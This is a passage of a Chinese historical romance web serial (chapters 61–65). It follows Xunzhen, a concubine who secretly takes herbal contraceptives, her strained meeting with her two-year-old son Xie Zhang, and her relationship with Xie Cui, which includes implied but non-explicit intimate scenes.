意识模糊间,有人抱住了自己,那人撩开她颊边汗湿的发,随后,温热柔软的触感贴在她唇上,一触即离。 这一夜,寻真睡得很不踏实。 她做了个梦。 她大着肚子,身边围着七八个小孩,高矮不一,蹦蹦跳跳,都在齐声叫她“妈妈”。 梦中的她吓了一跳,环顾四周,身边是高墙大院。她往门口跑,身后那群孩子就追上来,叽叽喳喳地喊她,她拼命地跑,撞到一人。 她抬起头,看清了那人的脸—— “真儿,真儿……” 寻真睁眼,看到谢漼,身子打了个寒噤。 谢漼拿帕子擦寻真额角的汗,“梦到什么了?” 寻真恍恍惚惚,摇了摇头。 寅时,外面天微微亮。 谢漼这会儿要去上值,丫鬟们端着官服和洗漱用品鱼贯而入,立在一旁,准备服侍。寻真既然已经醒了,便不能装作没看见,要下床伺候谢漼穿衣。 月兰眼疾手快,从衣柜中取出一件外衫,给寻真披上。 谢漼:“真儿睡吧,不必起来。” 寻真半睁着眼,看着谢漼穿戴整齐,走出去。丫鬟们也随之退下。寻真躺了一会,估摸着谢漼已经走远,从床上弹起来,穿好衣服,连头都没梳,就跑到后院去了。 寻真扒开杂草,将那一大包药取出来。 幸好昨天没下雨,这几日天气又干燥,药并未受潮。 她翻开外面的油纸,里面是五小包药。 寻真从小窗将药放进去,藏好后,去厨房,叫丫鬟们都出去。 平时寻真就喜欢自己琢磨做些吃食,丫鬟们都知道她这个喜好。所以寻真叫她们出去,她们也没多想。 月兰看到厨房的丫头们都坐在廊下闲聊,心想这个时间本就该开始准备早点了,做好后温在炉子上,以便姨娘醒来能直接食用。 月兰:“你们怎在此处偷懒?” 一人道:“姨娘在里头做好吃的呢!” 另一人也道:“月兰姐姐,可别怪我们,是姨娘叫我们都出来的……也不知姨娘这回要做什么有趣的吃食呢。” 月兰心中一怪,姨娘今日怎起得这般早。 朝厨房走去,却隐隐闻到一股怪异的味道。 这味道……可不像吃食。 越近了,这味道便越浓,闻着又苦又酸,倒像是…… 月兰走进去,见姨娘正在摆弄一个纸包。 “姨娘,您在做什么呢?味道怎有些怪?” 寻真刚把药渣包进纸里,月兰就进来了,还好她动作快。 “没什么,做失败了,焦了……” 寻真端起托盘,上面放着汤釜和纸包。 快步走了出去。 寻真经过月兰时,月兰又闻到了那股奇怪的味道。 室内,寻真看着这碗黑乎乎的药,有些纠结。 这避孕药能百分百有效么? 还有,会不会对身体造成无法挽回的损伤? 寻真脑海中浮现那个梦,一群大小娃娃围着自己叫妈妈。 一咬牙,一口气喝下。 喝完药,寻真将药渣埋到了后院的地里。 谢进拎着自己亲手做的纸鸢去找谢璋了。 二夫人听丫鬟说谢进来找谢璋玩,十分诧异。 谢进都十三了,两人可差了十一岁,竟还约好了一同玩。 谢璋端正坐在塌上,小小的身子挺得笔直:“伯祖母,我的确与十五叔约好了,今日一道去放纸鸢。” 孙宜其实颇为不认同大房养育孩子的方式。 谢进都这么大了,眼看就要娶亲成家,可那性子还个孩子似的,整日在府中四处乱跑,咋咋呼呼。 孙宜暗地里还跟媳妇吐槽过,大房这般溺爱,便是误了谢进。 如今还与两岁的小娃娃约好一起玩,真是…… 孙宜撇了撇嘴,笑着说道:“好,恒哥儿去吧,可别贪玩,莫要玩出一身汗来。”然后又吩咐丫鬟仔细照顾好。 谢璋应了一声。 谢进向孙宜行了礼,然后跟谢璋一同出门。 廊中,小厮手里捧着纸鸢。 谢进举起来:“恒哥儿,你看,这是我自己做的纸鸢,怎么样,厉害吧?” 谢璋仰头看着那纸鸢。 “这是……什么?” 第62章 第62章“尖叫” 谢进:“你猜?” 谢璋:“是鸡吗?” “鸡?”谢进眼珠子瞪得老大,拿到面前仔细瞅了瞅,“我画得也没那么丑吧?” 谢进费了好多桑皮纸,才勉强挑出两只尚可的。谢进又将另一只纸鸢举起,这一只他自认为画得更像些。 “那恒哥儿再猜猜,这是什么?” 谢璋认真盯着,小脸严肃,像在思索什 么难题,片刻后道:“是大鸟吗?” “对啦!”谢进笑。 “是会吃小鸡的鹰哦!” 谢璋点点头:“我知晓了。是‘草枯鹰眼疾,雪尽马蹄轻’中的鹰。” 谢进惊叹,恒哥儿小小年纪,竟会背诗了。 听母亲说,自己三岁才勉强开始认字呢。 两人来到谢府最大的花园。 今日天气晴好,湛蓝天空中,飘荡着几朵白云,微风拂面,正适合放纸鸢。 春色正好。 花园里牡丹、芍药、海棠开得正盛,花朵簇拥在一起,花香四溢,引来蝴蝶与蜜蜂在花丛中起舞,生机勃勃。 谢进在玩乐上堪称一把好手,没过多久,手中的麻线团便空了,将纸鸢放得高高的。晴空下,那只鹰形纸鸢被线牵引,稳稳地飘在云层前。 谢进看了眼谢璋。 恒哥儿正模仿他的姿势,举着纸鸢,边跑边放线。可纸鸢屡屡落下。但谢璋毫不气馁,一遍又一遍地尝试着放飞。 那纸鸢比他的小脑袋大了三倍有余,他捧着十分吃力。 谢进见他的手法是正确的。可能是因为他年纪小,力气不足,那纸鸢架子又有些重,才一直成功不了。 谢进心想,换作别的孩子像他这般失败多次,恐怕早就放弃了,甚至会恼羞成怒,把纸鸢放在脚下踩。他可是见过不少这样的场景。 若是和那样的小孩一起玩,谢进也会烦。 谢进看了会儿,见谢璋始终不成功,便想去帮忙。 谢进将麻线系在花枝上,正要过去,谢璋手中的纸鸢终于成功飞起。 谢璋手中线团飞转,纸鸢顺着风势,直上高空。 谢璋弯起了眼睛。 谢进鼓掌:“恒哥儿真厉害!” 谢璋小手紧攥着线,望过来,白嫩的脸上绽开笑容。 数秒后,一阵风吹过。 谢璋笑容停下,伸出另一只手,指向谢璋身后:“你的……飞走了。” 谢璋转身,方才系在花枝上的线不知何时脱开,朝前飞去。谢璋跃起,试图抓住纸鸢的线。 望向天空。 碧空下,那只鹰在云间飞翔,逐渐远去。 谢进蓦地想起两年前岁除夜,他跟寻真一同溜出府玩。 寻真在灯摊前,念的那句子,他一直记得。那盏鱼灯,他也一直留着。 谢进怔怔地站在原地,嘴唇蠕动。 那时,他只觉那句子,豪迈极了,一听便能在眼前浮现出壮阔的场景,是极好的句子。 如今,他望着天空,胸口仿佛被什么击中。 再回想起姐姐当时的神情,谢进隐隐约约,好似明白了什么。 谢璋让丫鬟拿着纸鸢,小跑过来。 谢进望着天空发呆。 “你的大鸟飞走了,怎么办?”见谢进神色有些异样,谢璋看不懂,便以为他是因为丢了纸鸢而难过,“你玩我那个吧?” 谢进回头,注视着谢璋。 “飞走了,很好。” 说着,趁谢璋不注意,揉了揉他的发顶。 谢璋来不及躲,瞬间板起了小脸,又是那副严肃的小大人模样。 谢进哈哈大笑。 没了纸鸢,谢进便到亭中休息,吃点心,看谢璋玩。 谢璋玩得不亦乐乎。他习惯了一个人玩,没人陪也不影响他的兴致。 谢璋从没放过纸鸢,觉得新奇,在花园中跑了许久,额头上见了汗,渐渐感到累了,这才停了下来。 他拿着纸鸢走进亭子,递向谢进:“给你,多谢十五叔。” 嫩白的小脸变得粉扑扑的,大眼睛忽闪忽闪。 谢进只觉得恒哥儿生得实在好看极了。 谢进:“十五叔送你了!” 谢璋抿了抿唇,似乎在犹豫要不要收下。 谢进:“恒哥儿。下次我们再一起玩,可好?” 谢璋抱着纸鸢,小脑瓜不知想了什么,眼珠子一转,看着甚是机灵。 “好。” 谢进拿了一块点心,嚼着。 “那恒哥儿应该叫我什么呀?” 那声音软乎乎的:“十五叔。” 谢进心想,虽然恒哥儿看着冷淡,不好亲近的样子。 一开始似乎还有些讨厌他? 可相处下来,谢进觉得恒哥儿简直太可爱了。 他没有其他小孩那种胡搅蛮缠的习性,与他交流起来十分顺畅,就像与同龄人相处一般。 而且,获得恒哥儿的“心”,只需要一个纸鸢。 天色尚早,二人在亭中吃点心。 下人退到远处。 谢璋偷瞄了谢进一眼,似乎有什么话要说。 谢进挑了挑眉。 谢璋:“十五叔,你跟……” 谢进抓了一块点心,“嗯?” 谢璋犹豫着,长长的眼睫毛眨了眨,“就是……上回……” 谢进没明白他的意思,看着谢璋的小脸蛋,脑中的弦一动:“你是说姐——” 一顿,凑近谢璋,表情贼兮兮的,压低声音问道,“你是不是问上次我跟……翻墙那回?” 谢进看着恒哥儿别别扭扭的小表情,他就知道! 恒哥儿这么聪明,怎会不知自己的亲娘是谁? 别说二岁小孩了,就是谢进现在这个年纪,都还有些依赖娘亲呢。 恒哥儿被养在二伯母身边,虽说二伯母对他很好,但娘亲的位置是谁也替代不了的。 恒哥儿,定是很想要娘的。 谢璋大眼睛转向一旁,脸颊鼓起来。 谢进:“我的确跟你娘认识。” “但这是秘密哦,恒哥儿万万不可告诉旁人,知道吗?” 谢璋鼓着脸望着一边,没回答。 谢进就晃了晃他的小身子。 许久,谢璋唔了一声。 谢进便在谢璋面前讲寻真的好话,比如“你可千万别怨你娘不养你,她都是有苦衷的”,又说“你娘其实很爱你,只是因为一些缘故没法亲自抚养你,天下间所有的娘,都恨不得把最好的都给孩子”。 说到这里,谢璋的大眼睛顿时亮了起来。 转过头,望向谢进:“……真的?” “当然是真的!”谢进拍拍胸脯,“都是我娘跟我说的!” “孩子都是娘身上掉下来的一块肉,怎会不疼、不爱呢!” 谢璋听得眼睛炯炯有神,满是憧憬。 另一边,寻真正在“指挥”月兰画画。 这两年,日子太无聊,寻真便开始发掘丫鬟们的天赋。 她发现月兰在绘画上很有天赋。随便说几句便能领会了,这让寻真感觉像是挖到了宝藏。 在古代,水墨画多以线条勾勒和墨色的浓淡变化来表现意境,而现代写实的画法,则更注重光影、色彩以及物体的体积感。 寻真讲得模模糊糊,月兰竟然也理解了,尝试了几次后,还真画出了寻真想要的立体感。 寻真让瑞宝去买颜料,有些像石青、石绿等矿物颜料,需要从矿石中提炼,十分珍贵。因是寻真说要用,瑞宝便将市面上能买到的颜色都买了来。 寻真给月兰,月兰受宠若惊,连连摆手推辞,不敢接受。 寻真便劝,学好了画,就能帮她画一些图样,做衣裳用。 其实还有另一个原因,月兰一闲下来就在寻真耳边念叨谢漼。寻真也是想给她找点事做,免得整天听她“咱们爷”长“咱们爷”短的,耳朵都快起茧子了。 月兰画的是一片叶子,在光下,叶子的明暗层次分明,立体感十足。 寻真将这幅画拿给一旁闲聊的小丫鬟们看,获得一致好评。 月兰拿着画笔,脸微微泛红。 忽然想起一事:“姨娘,您去年让瑞宝去做的衣裳,都快半年了,想来绣娘也该绣好了,我一会 去催催吧?” 这么久了。 寻真想做件短袖,当睡衣穿,便让月兰画了设计图拿去制作,这里没有短袖印花的技术,便只能靠绣工。 绣三维的难度太大,尝试了好几次都失败。后来,瑞宝花了大价钱,请到京中最厉害的绣娘,对方答应试试看。 寻真没有限定时间,一直拖到现在。 她自己都快把这事给忘了。 寻真点点头:“好,你去问问瑞宝。” 谢漼下了值后,承安便问他要去哪儿。 谢漼脑海中瞬间浮现寻真酣睡时的面容,便道,“清挽院”。 承安吩咐永望去知会一声,让清挽院的下人们备好饭菜。 谢漼进了府门,抬脚往西行。 仲春时节,府中的春花争奇斗艳。 谢漼看着这些花,又想起那张粉面含羞的脸,身下便隐隐有了反应。 谢漼原本舒展的眉间,走着走着,凝了起来。 脚步一顿。 这不对。 谢漼素来自控有方。 若是一连几日都去真儿那处,耽于男女之欢,非但贻误公事,且有损体魄。 前日那夜,放纵自己,还能勉强说得过去,人非草木,需求积郁久了,一朝得释,便难免失控。 昨日他也去了,今日若再去,长此以往,恐陷溺难拔。 谢漼不禁想起了谢佑,他无度迷于女色,形神之衰,一望便可知。 谢漼自省。 方才未加思索,就决定去真儿那,自己竟已不知不觉被她左右若此。 这让谢漼心中一惊。 昨日休沐,已与她共度了一日。 整日厮混。 谢漼停下对承安说:“再派人去清挽院知会,我不去了。” 承安:“是。” 见谢漼凝神细思的模样,不由问道,“可要与姨娘说明缘由?” 谢漼:“便说我还有公事要处理。” “是,” 承安一招手,让小厮前去传话。 而寻真得知谢漼反悔不来了,肩膀一下便松了。 月兰和引儿却颇为失望,嘴里嘟囔,说好要来的,怎又不来了。 寻真觉得不来好,来了,又得那个…… 如今她已拒绝不了谢漼,自然是他来的次数越少越好。 夜色深了,寻真准备歇下,翻来覆去睡不着,摸黑去拿放在次间的凝星珠。 刚跨出卧房的门,突然被一只大掌捂住了嘴唇,整个人被压在门沿上。 砰的一声,高大的身躯将她包裹了。 寻真惊恐地想要尖叫,却只发出一声闷哼。 那手掌温热、宽厚,散着淡淡香气。 第63章 第63章“沉溺” “真儿莫怕。” “是我。” 另一只手垫在她脑门前,以免她不慎撞上。他周身裹挟着屋外的凉气,丝丝缕缕沁入寻真体内。 幽微月光斜斜洒入,二人影子在地上交汇。 她寻着支撑。 抓住门上的棂条,指甲刮过门板。 身子向下滑去,谢漼探手一捞,将她抱起,往里去。 这次,谢漼没有点灯。 床帐内漆黑一片。 寻真飘飘荡荡,分不清今夕何夕。 短暂沉溺。 结束后,谢漼吻她汗涔涔的脸颊。 声音带着一丝哑,喉间溢出舒缓后的满足。 “明日是真儿的二十生辰。” “我来陪真儿。” 寻真脑子混沌,隐约想着有话要问。 但因身体太累,只随意应了声,便沉沉睡去。 第二次就有了经验。 谢漼一走,寻真便赶去厨房,闭门,叫人不要来打扰。 喝完药,洗了碗,散了味道再出去处理药渣。 再躺回去,已没了睡意。 想起昨晚。 寻真是真的被谢漼的突然出现吓了一跳,一抬头,看到个高大黑影,还以为是杀手刺客之类的人,差点以为小命要交代了。 谢漼明明说不来,大晚上又来了。 后来连门都没进,就直接…… 谢漼的需求这么强烈。 这样下去,岂不是要天天吃药? 谢进今日会来给她送礼物,寻真大部分时间都呆在屋内,怕错过。 这次,顺便再拜托他,多买些药来。 谢漼告了半日假,进房时,瞧见谢璋正坐在案前,练大字。 两岁的孩童,小身子挺得笔直,全神贯注书写。 那握笔姿势是极标准的。 谢漼在门口瞧了好一会儿。谢璋发现旁边有人,脑袋转过来,大眼睛眨了眨,将毛笔搁下。 脸蛋圆润,下巴处不小心沾了一点墨。 乖乖巧巧地看向谢漼。 谢漼唤了一声,“恒哥儿。” 谢璋便乖乖巧巧地应了一声:“爹。” 谢漼将谢璋抱过来,用帕子擦谢璋下巴的墨点,动作轻柔。谢璋依在谢漼的怀里,仰着脑袋,眼睛乌溜溜,目不转睛地盯着谢漼。 谢漼擦净了,帕子放一旁。 仔细端详儿子的脸。 拇指轻轻擦过谢璋的脸颊,二伯说恒哥儿与自己像极了。 他却觉得,恒哥儿与真儿才是像极了。 “恒哥儿,可知自己的娘亲是谁?” 谢璋迟疑了下,小脑袋一点。 谢漼声音温柔,眼带笑意:“恒哥儿竟知道。” 指尖点了点谢璋的鼻尖。 若是别人,谢璋定是要躲开的。谢璋一直以来都不喜旁人触碰,但只有对爹是例外。谢璋很喜欢谢漼抱他,摸他的头。 谢璋:“在惠宁院时,听喜儿、巧儿说过。” 谢璋:“她们如何说的?” 谢璋记得她们说的所有话,至今还无法完全理解,只根据那两人脸上的表情,猜测那些话应是不太好的。 便说:“说她是柳氏……” “你娘便姓柳。” 谢漼摸了摸谢璋的脑袋,“今日,我带你去见你娘。” 谢璋坐在谢漼腿上,攥着谢漼的衣服,紧了紧。 小脸不知怎的涌起热气,白里透粉。 谢漼:“恒哥儿,一会,你便……” 寻真用完午饭,在院子里踱步消食,然后在秋千上小坐片刻,便打算回屋。一会谢进要来。 刚转过身,便听到身后引儿激动的声音。 “姨娘!姨娘!” “你快看!” 那声音激动的,仿佛瞧见了世间罕见的奇景。 月兰在前方,也转过头,眼睛睁大,看呆了。 寻真心想这是看到什么,这一个两个,都不淡定了。 寻真刚吃饱,有点困,脑子钝钝的,转过身去。 春日融融,风和日丽。 年轻男子穿了一身紫袍,单手抱着一个孩子,举步轻逸,似乘清风而来。 日光倾洒,日影斑驳地落在长袍上,袍上金线熠熠,随着他的步伐,流光溢彩。 男子朗目疏眉,风神秀彻。 他臂弯中的小孩似是缩水了好几倍的他。 两张美丽精致的脸,一大一小。 画一般的场景。 寻真傻眼。 谢漼今天不是要上班吗?! 谢漼走近了。 寻真唤了声,“爷。”目光不经意间扫过谢漼怀中的谢璋,见他正盯着自己,那眼睛又大又圆,黑亮黑亮。看着就跟谢漼一样精。 寻真目光飞快地移开了。 心里只觉得尴尬极了。 谢漼怎么把这孩子带来了,难不成等会还得表演一番“母子情深”? 她不行啊。 进了里间,谢漼抱着谢璋上了塌,吩咐丫鬟们退下。 寻真早上在榻上看书,东西放的乱七八糟,还没来得及收拾。知道了谢漼的休息时间,寻真告诉了月兰。还跟她说,谢漼不来,每天收拾一遍就够了,不用时不时就来整理。 几上放着小零食,榻角也叠着好几本书,有些乱。 谢漼:“真儿今日可用了长寿面?” 寻真:“吃了。” 榻旁的扶手还搭着瑞宝刚送来的短袖。 他找的那绣娘果然是顶尖水平,竟然一比一照着图复制出来了。寻真刚才欣赏过,便随手放上去了。 谢璋小脑袋转来转去,很快便发现了那件短袖。 小手一伸,扯了过来。 谢漼低头看:“这是何物?” 寻真:“是 我做来睡觉时穿的。” 谢璋背靠着谢漼,两条短腿分开,小手捏着布料两端,展开。 短袖中央的三维图案出现在两人眼前。 谢漼在画道上造诣颇深,一眼便看出了这绣画中的精妙处。 “此绣法殊异寻常,别具妙韵,我从未见过。” 谢漼又看了眼,抬起头,望向寻真:“此图我先前见过,真儿有一布囊,囊上图案,似与此同。” 寻真便点了下头。 谢漼:“前次所见为平展之象,此次却是具形之体。想来,这般别具匠心的创制,定是真儿要求绣娘所为吧?” 寻真又点点头。 余光瞄到谢璋,见他眉头皱着,盯着那短袖上的插画。 谢漼:“真儿失忆后,多有奇思。” 谢漼看着那绣图,“穷形尽相,毫厘不爽,如临实景……若施于画艺,倒是全新之法。” 谢漼思索着,似在琢磨如何将这手法融入画技中。 寻真心想,谢漼脑子果然好用。 谢漼便问:“真儿应是拿了画让绣娘依样而绣,原画可让我一观?” 寻真应了一声,便去取画。 宣纸上,正是与短袖上一模一样的插画。 叮当猫头上顶着竹蜻蜓,飞在蓝天下,大笑着,十分自在的模样。 谢漼看得认真,似是在研究画法,寻真解释道:“是我口述,月兰照着我说的画下的。” 谢漼微微讶异,问道:“月兰所画?” 寻真道:“嗯!月兰在画上很有天分呢,我说什么,她都能很快就领会了。” 也正好,趁这时机跟谢漼坦白,省的月兰用点颜料就战战兢兢,怕谢漼知道了罚她。 “……总之,她真的很厉害,假以时日,一定能成为出色的画手!” 谢漼的目光从画转移到寻真身上,盯了她片刻,把寻真弄得莫名,仔细回想是不是说错了话。 难道谢漼认为她不该把钱花到月兰身上? 但她又隐隐觉得谢漼不是会这样想的人。 谢漼唤了月兰进来。 月兰进来后,看到那画,一瞬便明白,哆哆嗦嗦,垂下头,还以为主子要怪罪。 寻真也担忧地看着谢漼。 谢漼瞥了眼寻真,问了几个画上的细节。 神色平静,语气平和,并无发怒的迹象。 月兰稳下心,一一答了。 谢漼问完,让月兰退下,看向寻真,仿佛知道她心中所想。 “真儿竟以为,我是那等不通情理之人?” “月兰于画颇具天赋,这很好。她是你的人,你若有意栽培,尽可继续,我自然没有异议。” “真儿。莫非以为,我会怪罪你不成?” 寻真尴尬一笑。 他眼睛真利。 好像被他看一眼,自己的心思就被猜透了。 寻真心想,还得练,总有一天能练成谢漼这副“面瘫”脸的。 不过,谢漼赏识有才能之人,不论男女。 这一点,倒是值得肯定。 聊完画。 谢漼想起正事。 寻真见小孩攥着短袖,便想拿回。 走到谢漼面前,扯了扯短袖,“那个……这个给我吧?” 没想到,小孩攥得极紧,不肯松手,盯着那画,指节都泛白了。 听到她声音,小孩抬起头来。 眼珠子一动不动看着她。 似乎在仔细观察。 这小孩。 怎么一直这样盯着她看。 到底在看什么? 谢漼拍了拍谢璋的头顶,轻声道:“恒哥儿,松手。” 谢璋便松手了。 寻真从谢璋手中拿过衣服,转身往里,将短袖放入衣柜。 谢漼看着寻真离去的背影,对谢璋说:“恒哥儿,来时我与你说的,可还记得?” 小男孩直着背,头一回,没有答谢漼的话。 谢漼低头看去。 见谢璋紧抿着唇,眉心锁着,望着寻真离去的方向,似是很不开心的模样。 “……恒哥儿?”谢漼摸了摸谢璋的脸。 谢璋依旧没有作答。 寻真回来,看着榻上那对父子。 还是觉得尴尬。 应付谢漼已经够累了,再加一个缩小版谢漼。 虽然谢璋不是熊孩子那种类型。 但她总感觉,这小孩怪怪的。 寻真对上谢璋的目光。 算了,就当是亲戚家的小孩,反正今天来过就走,不用天天相处。 于是,她出去叫月兰,让她把新做的牛乳糖和牛肉糖拿来,打算招待这小孩。 又想起上次说的,跳棋适合小孩玩,让引儿找出来。 回来后,重新在谢漼对面坐下。 谢漼拍了拍谢璋的脑袋,示意。 寻真就见那小孩目光锁住了自己,开口了。 “我听旁人说。” 第64章 第64章“主动” “你是爹从栖霞阁赎回来的。” “是千人——” 啪的一声。 室内骤然一静。 谢璋还没说完,便被谢漼阻止。 这一瞬发生的很快。 听那声响,谢漼用力应是不大,可小孩肌肤娇嫩,须臾间,谢璋嘴边泛起一圈淡淡的红痕。 小孩瞪大了双眼。 自他有记忆起,从未被这般对待过。 大眼睛里闪过无措、难以置信,还有隐隐的不服。 这时,月兰和引儿踏入屋内,一人端着两罐糖果,一人捧着棋盘和棋子。 两人不知发生了什么,见气氛不太对劲,便都没出声,将手中物什轻轻放在几上,退下了。 谢璋口齿清晰,吐字精准。 寻真大概能猜出他后面的话。 谢漼低头看,见谢璋紧咬着下唇,眼神中满是倔强。 “恒哥儿,那些话,是谁教唆你说的?” 谢漼语气看似平静,甚至未展露半分怒意。 可眼中却透着丝丝寒意。 这种态度,是真生气了。 寻真光看着,就觉得吓人,更别说被他抱在怀里的小孩了。 虽谢璋平日里瞧着老成,可到底还是个孩子。 他又对人的情绪极为敏感。方才还温柔抱着他的谢漼,此刻完全变了,浑身散着冷意。 谢璋揪着自己的手指,瘪起嘴。 谢璋又看了眼寻真,目光收回来时,扫过几上的两个糖果罐和棋盘。 他抿唇,嘴紧紧闭着,倔着不肯说。 谢璋不肯开口,谢漼便不再追问,转而望向寻真。 “是我之过。” “这两年我在外任职,无暇顾及家中,恒哥儿竟被养成这等顽劣模样。真儿莫恼。” 于是向外唤了声,命人将谢璋抱走。 月兰听了这吩咐,一怔,心中纳闷,好端端的,怎要将恒哥儿抱回去。 方才姨娘还特意让她拿了糖果给恒哥儿吃呢。 月兰一瞅,那糖罐子都没打开。 室内气氛沉重,她只应了一声,上前去抱谢璋。 岂料,谢璋一被抱起,便使劲扭动身子,奋力挣扎起来,接连几脚都踢中月兰的手。 寻真看到,忍不住说:“他好像认生,要不还是叫他相熟的人来抱他回去吧。” 谢璋便吩咐月兰,让她去二爷院里传话。 谢璋被放下后,谢漼没有把他抱起来。 谢璋像被罚站了似的,双手放在身前,立在原地,眼睛低垂,望着地面。 今日他还穿了身新衣服,布料用的是蜀地特有的红锦,绣着瑞兽图案,小肚子圆滚滚,瞧着十分喜庆。 谢漼没有管他,将几上的棋盘摆开,把一罐棋子放到寻真面前。 “真儿放心,如今我回来了。” “便不会让那些心怀叵测之人带坏了恒哥儿。” “往后,恒哥儿由我亲自教养。” “过些时日,我将恒哥儿接到我居处,真儿便能时常——” 听到这,寻真连忙打断了:“爷,我与恒哥儿母子缘分淡薄。” “日后,没什么必要,就还是……” “尽量不见了吧?” 谢漼闻言一怔,凝视了寻真片刻,她脸上并无半分不舍,甚至,提及恒哥儿,眉眼间也无波动,似是在说一个毫不相干的人,没有任何情感涌动。 念及她失忆,倒也情有可原。只是—— 谢漼转头看谢璋。 听了这话,谢璋此时已抬起了头,目光投向寻真的方向。 泪水在眼眶中打转。 谢漼思索片刻,还是道:“真儿也莫要这般仓促做了决定。” “恒哥儿年纪尚小,心智未全,许多事理都不懂。” “需得我们为人父母的,言传身教,悉心教导,引他走向正途。” “也要给 他些时间。” 谢漼这么说,寻真就哦了一声。 碧珠来了,瞧见谢璋眼眶含泪,心中一惊。她自伺候恒哥儿以来,可从未见过他落泪。 蹲下来,小声询问:“恒哥儿,奴婢抱你回去?” 谢璋往榻上看了一眼,见那两人都没看自己一眼,终究还小,没忍住,小胸膛抽噎了一下。 寻真听到声音,转头,看到谢璋的大眼睛含着泪,委屈巴巴的。 想到谢漼刚才打的那一下。 应是把他打痛了吧? 谢璋离开后,室内的气氛仍有些沉重。 谢漼摆弄着棋盘:“莫要让那小子坏了真儿今日生辰的好兴致。” “真儿都忘了。就当我,未将恒哥儿带来过吧?” 寻真:“嗯。” 谢璋叫丫鬟将自己放下。 迎着风,快步走在回廊中,方才外泄的情绪已被他收拢起来。 拐过弯,碰上一人。 那人手里举着只纸鸢,见到谢璋,惊喜喊道:“恒哥儿!我正要去寻你呢!” 然后将手中的纸鸢展示给谢璋看:“你看这回我做的,是不是比上两个要好很多?” 谢进弯下身,看到谢璋眼睛湿湿的,眼睫毛几绺几绺地黏在一起,脸上还有泪痕,像是哭过了。 “恒哥儿,你怎了?” 谢璋却瞪着他,像头发怒的小兽,伸出手,猛地冲上前,撞向谢进。 谢进一时防备不及,仰倒在地。 谢璋跑远了,丫鬟忙追上去。 谢进瞧着那两人的背影,也没生气,摸了下被谢璋撞到的下巴。 恒哥儿这是怎了? 是谁欺负他了,还是惹他不高兴了? 谢进又摸了摸腰间的锦袋,本想给恒哥儿送了纸鸢再去找姐姐。 恒哥儿现在心情不好,还是改天再去找他吧, 先去给姐姐送礼物。 月兰将一长形锦盒呈上。 谢漼拿在手中,摸着盒上的纹路。 “真儿,可还记得,去岁仲冬,我曾寄信与你,信中提及,我得一珍宝,归时便赠予你。” 寻真点头。 “真儿,来。” 谢漼一手拿着锦盒,另一手牵了寻真,朝里屋走去。 寻真的心思全不在那礼物上,进了卧房后,愈发紧张,瞄了眼后面的小窗。 等会谢进敲窗,被谢漼听到怎么办? 谢漼察觉到她掌心湿润,回身一看,见她神情不自然,似在极力掩饰着什么。谢漼搂过她,亦感受到她背部紧绷的肌肉。 谢漼没往别处想:“真儿,是还在为恒哥儿的事生气?” 寻真:“……嗯?” 谢漼抚了抚她的肩,让她在妆台前坐下。 铜镜前,映出寻真略显模糊的面容。 谢漼:“此镜粗陋,明日,我令人送更好的来。” 说着,他将寻真头上的朱钗取下。 揭开锦盒,中央躺着一支簪子。 簪子以赤金为骨,簪首处,美玉环绕簇拥,颗颗莹润剔透。玉中央,嵌着一颗红色宝石,折射出五彩华光,瑰丽非常。 “此簪名为‘流霞’。” “出自陇州名匠之手,历时百日而成。” “遇烈火不化,可比昆山神玉,坚不可摧。” 谢漼拿了簪子,缓缓插在寻真头顶。 寻真一时被这簪子的光华所吸引,抬手摸了摸簪子上的宝石。 谢漼:“真儿可喜欢?” 寻真正要回答,身后传来敲窗声。 “笃、笃、笃。” “笃笃。” 前三声间隔时间长,后两声短。 是谢进来了。 谢进敲击的声音不响,因寻真极为熟悉,故而一听到声音便察觉了。 寻真脑中的弦绷紧了。 谢进一般敲一遍之后,会等一会,再继续敲。 镜子里也印出谢漼的脸。 镜子不清晰,看不清谢漼脸上的表情。 也不知他有没有听见。 寻真心跳加快了。 脑子思绪纷乱。正如谢漼自己所说,他绝非不通情理之人。寻常人难以理解、无法接纳的事,谢漼都能包容。 没寻真一开始想得那么封建。 要是跟谢漼坦白,她与谢进不过是以朋友之谊,在私下里往来交流。 好好解释清楚了,他并非不能谅解。 只是如今,情况太复杂了,她已经叫谢进帮她买避孕药了,就……不能被发现。 寻真久久未答,谢漼便问:“真儿,可是不合你意?” 当下一声敲击响起。 寻真站起来,转过身。 谢漼便看到她绽出如花笑靥。 对他道:“不,我喜欢。” “喜欢极了。” 谢漼便也笑了:“喜欢就好。” 寻真握住谢漼的手:“爷,方才我将棋拿出来了。” “你陪我下几局,可好?” 纤细柔软的手主动握上来了。 谢漼的心好似被什么轻轻挠了一下。 下一秒,谢漼手指一挪,与她十指紧扣。 桃花眼凝视着她,温柔似水,道:“好。” 谢漼五指紧紧握了握,那力道仿佛顺着掌心,迅速蔓延开了。 谢漼牵着她往外面走。 跨出去时,头略略一偏,目光似有若无地掠过后面那扇小窗。 到次间,谢漼抱着寻真上了塌。 寻真后背贴着谢漼。谢漼年轻体热,热气源源不断地传过来。他的手也不规矩,放在她腰间,细细摩挲着。 寻真后背泛起一层鸡皮疙瘩。 虽然寻真现在已不怎么抗拒谢漼的触碰了,但她怕谢漼不顾场合就……时间隔得越久,药的效果就越差。还是最好晚上干那事吧! 寻真:“爷……这样,我们还怎么下棋?” 谢漼:“无妨,我来下对面那一方。” 寻真:“……好。” 寻真心思不在棋上,下着下着,只觉得身后的气息越来越热。 谢漼越靠越近。 耳垂一湿,被含住了。 寻真捏着棋子,手一紧。 谢漼将她身子抬起来了。 第65章 第65章“心颤” 棋盘被扫乱,棋子颗颗滚落,坠于榻上、地上,铮铮然作响。 寻真抓住案沿,用力到手背青筋隐现。 许久,谢漼圈着她,像抱着孩子一样的姿势。寻真靠在他身上,手脚都使不出劲来,半阖着眼,缓缓喘息着,沉浸在余韵里。 谢漼最喜此时的她,身子完全软了,完全依赖、放松地躺在他怀里,不再有任何抗拒。 大掌无意识地摩挲着寻真的小腹,不知想了什么。 “真儿。” “……嗯?” “真儿,若这回你有……”话至一半,却又顿住。 寻真莫名。 谢漼抚着她的脸,心想,今日是她生辰,方才恒哥儿已惹了她不快,还是改日再提。 便道:“无事。” 待寻真缓过来,谢漼便唤了下人进来收拾,看到丫鬟们捧着沾了污秽的软垫,寻真红着脸,跑进浴房,没想到谢漼也跟进来了。 寻真惊讶,往后退。 “真儿在惧什么?” 寻真垂眼,不敢直视谢漼。 “爷,我要沐浴了……” 谢漼轻叹:“真儿已与我共赴云雨多次,怎还如此羞怯?” 寻真垂首不语,视野中,谢漼步步逼近,她不断后退,直至被抵到墙边,腿被什么绊了一下,跌坐矮塌上。 